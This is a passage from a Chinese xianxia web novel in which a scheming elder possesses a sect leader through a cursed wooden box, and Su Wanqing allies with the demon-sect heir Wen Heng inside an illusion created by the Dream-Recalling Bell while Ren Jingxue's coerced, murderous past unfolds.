这日,一名名为季玉轩的弟子敲了敲她住下的房间门,耐心地唤她出来,再带她前去大殿寻师父。
路途中,季玉轩瞥见她掌心的伤口,心中莫名地难受,当即便从怀中拿出一瓶药,递给她,嘱咐道:“我见姑娘有伤在身,这是我派疗伤仙药,现赠予姑娘,望姑娘的伤势早日有所好转。”
她迟疑了很久,不知是否应该接下,在季玉轩的解释之下,她还是选择接下,心中升起了一丝暖意,望着他的脸,她不禁问道:“我名为添香,无姓。那日,是少侠救我的吗?”
“在下季玉轩。”他脸上明显有赧颜之色,停步面对着她解释道,“那日我见姑娘昏倒,情急之下才抱了姑娘回来,我知男女授受不亲,对不住了姑娘。”
他的语气显露几分慌张,疯狂地摆手解释自己并非故意为之。
她笑了笑,微微点头,应了他的解释。
他们并肩走着,走过百阅山的庭院,有一搭没一搭地说话,从一开始的生疏再到后面的逐渐熟络。
“姑娘怎么会想到来寻师父了?”季玉轩听师父提过添香,但也特地前去了解过她。对于她的到来,很是诧异,不禁问道。
同时,他的目光也落在了她手中的木盒,大概是觉得自己的无礼之处冒犯了人,连忙收回了视线,尴尬地轻咳几声,好以掩饰。
她也没有隐瞒,直接道:“这是季前辈的故友托我送来的。”
“师父何时多了故友,我竟不知。”季玉轩将她送至大殿便与她告辞离去,她忽而看着他离去的背影陷入了沉思,顷刻间转身推开大殿的门。
季九打坐在前,见了来人便走下去,问她所来何事,而她便将东西递给了季九前辈。
在她后退刹那间,那东西一经季九打开便焕发出丝丝厚重的黑色气息,逐渐汇聚成一盏灯,趁其不备迅速地冲进了季九的身体中。
额间仙印经它洗涤,转为暗色莲花,只见季九双眼见红,右手凌厉迅疾地点中穴道,运行周身的灵力强行逼出这股邪气。
“这,这是什么?你为何要害我?”
就在这刻,木盒冉冉升起,化作灰烬尘埃消散,再次聚拢之时竟变成了淮阳遇到的老者。老者满意地笑出了声,三步两步,千重幻影,一并入了季九的身体。
季九掌门与体内邪气对抗不得,一时之间被人钻了空子,夺了神识,那人将他的神识抽出,驱除出体,当着苏晚清的面捏碎了它。
“你是谁?季前辈?”她双腿颤抖,问出这个问题后,她撒腿就跑,却不想被人逮住,甩了回来。
“如今,老朽便是百阅派掌门季九。”这个声音是老者的声音,她不敢去接那双手,而是瞧着这熟悉的面容,心里是一阵后怕,也担心,“你把季前辈怎么了?你是不是杀了他?你说过的,这不是害人的东西!”
老者笑她天真,丢给她剩余的钱财,五万两数目太大,只能用法宝收在其中,说罢便要她也入了百阅派,她害怕得跑出了山门,一路狂奔,期间从未有过停留。
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回不去,亦走不了。
大千世界,此刻竟无她的容身之处,那日在如意楼看到诸多姐妹看她皆是嗤之以鼻,虚妄村定是不能再回。
她走了一日一夜,花光了所有的盘缠,心也渐渐冰冷,脑海浮现出过往的画面,在此时却是无比的讽刺。走至一处悬崖,万丈深渊不见底,只要从这里掉下去,必死无疑。
杨焕弃她,转身选择了家财万贯的林小姐。
朱文聪弃她。
所有人都弃她,将她当做召之即来挥之即去的丫头。困难难度,她平静地俯瞰,纵身一跃,只身落入了悬崖。
万物于她眼前迅速掠过,时间流逝得极快,用不了多久她就会被摔得粉身碎骨,也好,做个了断。
忽然,她的身体似被什么东西圈住,将她整个人带离了正在下坠的悬崖,往上一扯,便又重新站在了悬崖之上,目光不禁落在面前着白袍的白发男子。
见她上来,亦是缓缓转身。
苏晚清瞧着这熟悉的面孔,心中一阵激动,心中默道:“师尊?他怎么换了副样子。”白发更显师尊的清冷,犹然生出生人勿近的错觉,他站在原地负手在后,犹如孤松立雪般,眼里似有寒潭般冷冽。
他的脸,依旧未变。
“各人生死本有天定,但命中注定本座会出手救你这一遭。万事万物,非生即死。离了这一难,往后喜乐多是。姑娘,好好想想,你的离去,红尘轮转依旧,好好珍惜。”
凌霄淡淡地道。
她像是抓住了救命稻草一般,走过来拉着凌霄的衣衫,泪如雨下,哀求道:“仙长,我做了错事,是我害了季前辈,您神通广大,能不能救救季前辈?我求求你,救救季前辈。”
说着,她跪了下去,没跪多久,她便被由凌霄散发出的灵力提了起来,与他平视,曾几何时,便听到男子低沉的声音:“此事我已知晓,凡事自有天意,本座也只能量力而行。好自为之。”他递来一袋钱财,交在她的手上,便作云烟散去。
*
过了半月,她在一处店铺做女红,勉强能维持自己的生活,生活亦趋于稳定且平淡,唯一的变数便是朱文聪得知她的下落,为她负荆请罪而来,态度诚恳无比。
一连几天,都在此等候。
她一脸平静地看着袒胸露乳的朱文聪,转身关门离去,看他那健步如飞的腿脚,应当已无大碍。
朱文聪上前紧紧拉着她的手。
她的心间仍有悸动,毕竟是曾经想要相守一生的男子。
街上的人络绎不绝,许多人偶尔因好奇而停留,半晌过后觉得没有意思便挥一挥手离开。
“不必,你我前缘已散,我是不会随你回去的。”这一次,她斩钉截铁地道。凡事不可能有第二次,若有,她亦不会重蹈覆辙。
说罢,正欲挣脱他的手时,苍穹忽见一阵红光正在靠近此处,临近时变作幻影入了朱文聪的身体,她清楚地看到他眼眶里映出的血红之气,不由得半退一步。
“娘子,我给你准备了礼物。随我去看看,看完之后我们便和离。”他的声音轻轻的,听起来明明只是平常的话语,但她却听出了一丝威胁的意味。
他似乎不喜她有疏离之意,他扬手,轻轻拂过她的脸颊,将她散乱的别到耳后,随后冲她一笑便强行拉着她的手离开了这里,返回家中。
“我为你准备了一件极好的东西,你定会满意。”他看向她的眼神不再是厌恶,而是势在必得的得意。
不知为何,她总觉得身前这人的气势变了许多,她虽不了解朱文聪这个人,但他如今的转变定有鬼。
“你放开我,我自己走。”
谁知,他握得更紧,耳旁传来他的声音:“我放了,娘子一定会逃走。”
34. 忆梦铃(8)
行走途中,他走得越来越快,禁锢她的手也越来越紧,她使用外力竟也挣脱不开,
来至虚妄村的古树旁,他忽而转身看她,未有松手之意。
她决意一脚踩在他的脚上,来人闷哼一声,松开了她。
“你的腿是如何好的?还是说,你不是朱文聪。”她甩了甩手,凝眸望向他,怀疑地问道。
朱文聪未答她的问题,喃喃地道:“老神仙不会骗我,只要我们系了红线,这辈子你再也离不开我。”
他取出一根红线,先是缠绕在自己的手上,再将另外一头缠在她的手间,取出一把小刀,对准指尖割下,温热的血液滴在古树的根部。
两处相连,迸发出的红色漩涡被吸入古树里面,光席卷而来,化作无数利刃袭向他们,朱文聪暗暗施法,结成的屏障阻去了攻击,而他也因此暴露。
“温衡?”她的感觉不会有错,她故意催动这里的攻击,试探一下眼前之人。
当真是他。
她试探性地唤道,见人没有答她之意,挥剑斩断了他们之间的红线,凝聚灵力向他袭去,他侧身躲过,反牵制住她的手,将人旋了一圈,两掌相对离开。
随即,温衡将人带离了幻境,他们回到了最初的地方。
“苏晚清,我还真是小看了你。这么快就知道是我。”他低低唤了声她的名字,没有多余的动作,鲜红的气息自他们之间漫过,挥向两处天地。
苏晚清不知他因何入内,只道:“温衡,我说过,任你如何伪装,在我面前,皆是徒劳而功。”
“你费尽心思甩开我,就是为了来体验任净雪的经历,莫不是你们之间有什么见不得人的交易?”温衡没有动手的意思,那双眼睛似要将她整个人都看透一般,紧随她的动作。
这口吻,多是怀疑。
一阵光芒以迅雷不及掩耳之势袭向温衡,他貌似也有所察觉,却没有任何动作,就怔怔地站在原地,似乎在等待着什么。
刹那之间,那道身影挡在了他的身前,徒手化去了攻击。
他被拽到一旁倒塌的建筑,随之而来的是女子身上那股淡淡的花香,他还没有来得及开口,便听到苏晚清恼怒的声音:“温衡,你总是在坏我的事,一次又一次。”
女子的声音带着愠怒,若非要留灵力与体力对付李若酌,她定不会放过温衡。
心想后事,她瞧了眼温衡,便欲离去,哪成想,温衡移到她的面前,拉着她的衣袖,认真地道:“苏晚清,我们联手,我可以帮你。你信我一次,我这次绝不会坏事。我得到我想要的,你也得到你想要的。”
苏晚清看着他的眼睛,再看眼他的手,尽量地思考他的话,之后道:“我为何要信你?你是天魔宗的少主,你此来无非为了抢百阅派的法宝忆梦铃,我不信你。”
纵使知道温衡是儿时救过的少年,她亦不敢去赌,十三年足以改变一个人的心性,是善是恶,皆非当前所需评判之事。
温衡似早知她的想法,在她谈及他的用意之时明显怔了一下,随即笑道:“忆梦铃造出的幻境会令人深陷其中,我若是得不到我要的东西,我不介意毁了它,让所有人为我陪葬,谁都别想安生。他们的神识已被剥离,我若毁了他们的身体,如何不是死路一条。”
“你在威胁我?”
温衡松开她,笑意噙在嘴边,斯文之中隐藏几分狠厉,是谈判,亦是威胁地道:“不,这是交易。我若未猜错的话,这幻境是由任净雪的记忆为媒介所创,李若酌几年前遭遇重创,没个十年是恢复不了的,忆梦铃能将人的生气与灵力吸食殆尽,不想那些人都死的话,就答应我的要求。对了,忘了告诉你,若神识附在轩辕木超过三个时辰,离体太久,他们同样会灰飞烟灭。”
这一点,温衡还是足以做到,虽不知温衡为何不受幻境影响,但留他在此必定会坏事。苏晚清一开始的灵力确实流失太快,后来是瑶光镜起了作用,抗住了忆梦铃的吸食。
随即,温衡觉得少了点内容,补充道:“我可以让他们死得更快。苏晚清,好好考虑。”
此人一如既往,为达目的不择手段,竟威胁起她了。
苏晚清思忖良久,终是抬手与他击掌结盟,道:“好,你助我得偿所愿,我亦助你一臂之力。不过我丑话说在前头,你若是敢坏我的事,我不介意取你性命。”
关于其他,她并不想深究,比如温衡并没有灵力尽失,再譬如温衡未被幻境影响,若非那物,她亦不能认出温衡。
温衡双手一摊,他的目光若灿灿明星,登然见华光流逝,对着她道:“好,能死在你的手上,也是件不错的选择。”
……
“你的命不值钱,我不需要。”苏晚清只觉心上的那阵疼痛愈来愈烈,她强压下去,不知能撑多久,眼下她得赶紧问清温衡得知了哪些信息,“朱文聪为何会有姻缘线?”
这事得从温衡走入幻境说起,当时他一入幻境便有许多修仙人氏跟随,更有甚者秋山派的掌门撺掇他人一同要取他的性命。
他们缠斗了一炷香的时间,正巧幻境被人误闯,引起了引力,将所有人都吸入其中。他在幻境里见到了从前的淮阳,也见到了苏晚清。起初他不明白这是何意,直到遇到了那个人,他便断定这是忆梦铃所造的幻境。
忆梦铃为百阅派的镇派至宝,能在此处出现,说明百阅派掌门或已遭遇不测,它是仙物,亦是邪物。既能赋予人美梦,令其重拾希望,也能让人堕入噩梦,如涸泽之鲋不得解脱。
对比他人,温衡还算幸运,尚有选择的权利,于是他将神识转至朱文聪的身上,看看朱文聪与任净雪之间的纠葛到底有多么撼天动地。
有用的信息寥寥无几,多是些无用的纠葛,但他却有一个收获,他正欲说时,密密麻麻的小蛇爬向这里,“嘶嘶”的声音接连不断,听在人的耳中真是呕哑嘲哳,刺耳难受。
只见温衡将手中的玉箫微微一转,散出的无尽光刃射向它们,讨不了好处的小蛇们只能逃窜回去。
片刻,温衡拾出一处结界,将他二人罩在其中,他道:“朱文聪遇到了李若酌,他们做了交易,朱文聪恢复如初也能挽回妻子,唯一不好的一点是这得拿命去换,而且在他死后,所有的厄运都会降临在他的亲人身上。虽然他很擅于伪装,但他的宠物可不会。你杀了他的蛇,他不会放过你。苏晚清,我们暴露了。”
他一出手,幻境之外的人便知晓还有人违背控制,这样也好,省去了不少麻烦事。
这正合她意,正愁李若酌藏着不出。
变数她早有料想,无非两种,走完幻境或是毁了幻境,但她选择前者,她也想让任净雪看看自己的师父究竟是否是其眼里心里的尊者。
幻境之中的记忆未走完,她们的交易便还未结束,她想到了一个极好的办法,嘴角渐渐上移,看着温衡道:“温衡,将你的箫给我。”
魔音箫与忆梦铃同样为亦正亦邪之物,更能影响万物意志,以此驱敌,当是锦上添花。
她不明白,温衡明明可以自己摧毁幻境,为何要与她合作?
这也不重要了。
说罢,她便伸手。
“苏晚清,你越发得寸进尺了。”话是这样说,温衡还是将箫递给了她,见她将箫口置于唇上,不禁注视着,奏出的乐章化作光圈扩散至外界,若水中涟漪般,由远及大。
观了十息,温衡知晓她要做何事,挥手召来命剑,斩去一剑,助长苏晚清的灵力。
幻境里面的人或物似被赋予了灵力粉尘,一切变得极快,说的话,做的事快得跟不上,他们所扮演的角色一如当下。
往事若云烟般,来得快,去得也快,顷刻,他们二人化作两团云烟再次入了幻境,分别入了由轩辕木所造出的朱文聪、任净雪的躯体之中。
*
这次时间流转得极快,苏晚清与温衡回到刚才发生的地方,朱文聪为任净雪系上红线,要与其纠缠。
但那时任净雪已再无眷恋,她选择一走了之,后来朱文聪费尽心思挽回,还为其受了伤,她心肠软,当即便同意了。
村中之人不再指指点点,一切归于平静,朱文聪也摒除了恶习,重新用功读书,在三年后成功入试,被指为探花,入翰林院。
她本以为这是新的开始,会有非凡的人生,但命运总是多舛,就在次年,朱文聪感染风寒死去,其母思儿心切,在朱文聪死后的第二日便上吊自尽了。
她为他们服丧,守了三年孝,期间杨焕也不停地来骚扰她,也引来了林小姐的责骂。林小姐放出她勾引杨焕的谣言,一时之间村中流言蜚语甚多,朱家每日都被村民用烂菜臭鸡蛋砸门,她的生活因此被搅得天翻地覆。
她被村民捆起来,装入猪笼,丢弃在广阔的江海湖泊,让她自生自灭。她以为她会死,却不想被一位老前辈救了下来。
“凌霄毁我肉身,你违背诺言,老朽本不应该
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救你,但念及你是个苦命的姑娘,老朽不忍,还是救了你。”湖岸之上,海风徐徐吹来,这样的寒冷冷她更加难受,她忍不住低声哭泣。
她哭得梨花带雨,抽泣道:“我没有错,是杨焕污蔑在先,他们不听我解释。我没有错。”
远处夕阳火红似火,江水滔滔不绝,两岸青山屹立入云卷,静静地倒映于清澈的书面中,她的心里思绪翻滚,委屈与难受充斥着她的脑海。
“流言蜚语最能毁人心志,道是人心易变。”老者坐在湖边,手执鱼竿,平静的湖面忽然蹿起水花,只见其将手上扬,将杆甩在她的面前。
两条鱼就这么映在她的面前,随后老者动动手指头,便令鱼自动插入准备好的鱼棍上,火焰漫过鱼,吞噬掉所有的生机。
“老人家,你好厉害。”
老者反道:“你想学么?这是仙术,学了这个,任何人都不能随意欺辱你。”
她低垂眼帘,妄自菲薄般道:“我?我资质不足,学不会的。”
老者起身面对身后矗立的榕树,一掌就将它击倒,四分五裂,丢到流动的湖面上,低眼望她:“老朽只给你两个选择,一是学,拜我为师;二是死,如我手中的鱼,鲜血淋漓,死无全尸。”
说罢,他捉了湖中的一条鱼,当着她的面将其开膛破肚,鲜血就那么溅在了他的脸上,很快地,一条小蛇自他的眼眶爬出,将血都吸了干净。
苏晚清:“……”头皮一阵发麻,心里在想这老者越看越熟悉,难道是……李若酌?
“学!能和师父学习仙术,弟子求之不得。”她跪在乱石堆积的地面,磕了三个响头,喊道:“师父在上,请受徒儿一拜。”
老者满意地笑了,扶她起来,道:“很好,记住师父的名字,李若酌,也即将是百阅派掌门季九。凌霄怎么也没有想到我会再次夺舍。”
至此,她便与李若酌修行。起初她不敢杀人,但在李若酌的胁迫下,她开始得心应手,从一开始的胆怯害怕到后面的如鱼得水。
她的出师之作便是屠了虚妄村所有的村民,将村民的灵魂都抽出,温养忆梦铃的邪气,也将朱文聪所有的相关的人都杀个干净,包括远在山阳的远房亲戚。
杨焕、林小姐最后都死在了她的手上。
她结识了季玉轩,但季玉轩给她的与最初不同,甚至是大相径庭,比起最初,如今的季玉轩性情大变,开始变得与一山相似,喜欢欺压百姓,喜欢调戏良家妇女,亦喜欢逼良为娼。
在一次行动中,她被燕寒舟重伤,逃到了奉剑山庄,被山庄主人相救,并待她如亲人一般,还为她取了一个新的名字——任净雪,他们说这是他们胎死腹中的孩子名字,若是她愿,便可认他们做父母。
打打杀杀的日子她早已厌倦,她热泪盈眶,便答应了下来。
平静的日子没有持续太久,在某日夜里,她忽然感觉不适,身体就像被操控了一般,将奉剑山庄的庄主与庄主夫人杀了,她望着倒在血泊的人,发了疯般地质问道:“师父,他们待我如亲生女儿般,你为何要杀了他们?为什么让我杀了他们!!为什么?我要杀了你!”
李若酌将她定在原处,轻慢抬手毁了他们的躯体,抽了灵魂置入忆梦铃中,随后嗤笑道:“任净雪,这是你的新名字。以后就叫这个名字,你不可以有牵挂,你可是师父最好的刀,刀不能有自己的感情。”
“你如果觉得痛苦,师父替你抹了这段记忆。”李若酌刚刚抬手,她立即妥协,泪如雨下,无奈地阖上眼睛,不敢再看,“杀了他们也好,他们已经对外公布我是奉剑山庄失散多年的女儿,我执掌奉剑山庄,也能够帮助师父早日杀了苏晚清。”
这话说得极好,李若酌十分满意,立即卸下了对她的控制,大笑道:“哈哈哈,不愧是我的好徒儿。师父听说你与玉轩两心相许,放出消息,让更多人来参加你们两个的婚礼,尤其是苏晚清,她一定得来。”
随即,李若酌依旧选择抬手消除了她的记忆。
于是她便扮作小厮混入了清平,亲手了结李淮颂后给“苏晚清”留了信,赶来此处。
再到后来,便是奉剑山庄。
苏晚清挥手粉碎这里的幻境,随着那道鲜红的气息离去,与其停留在一处漆黑之所,来人将黑暗驱逐,点上四周的灯。
红色身影晃在眼前,女子朱唇轻启,说道:
“李若酌就在朱家内鬼门方向。苏晚清,替我杀了他。”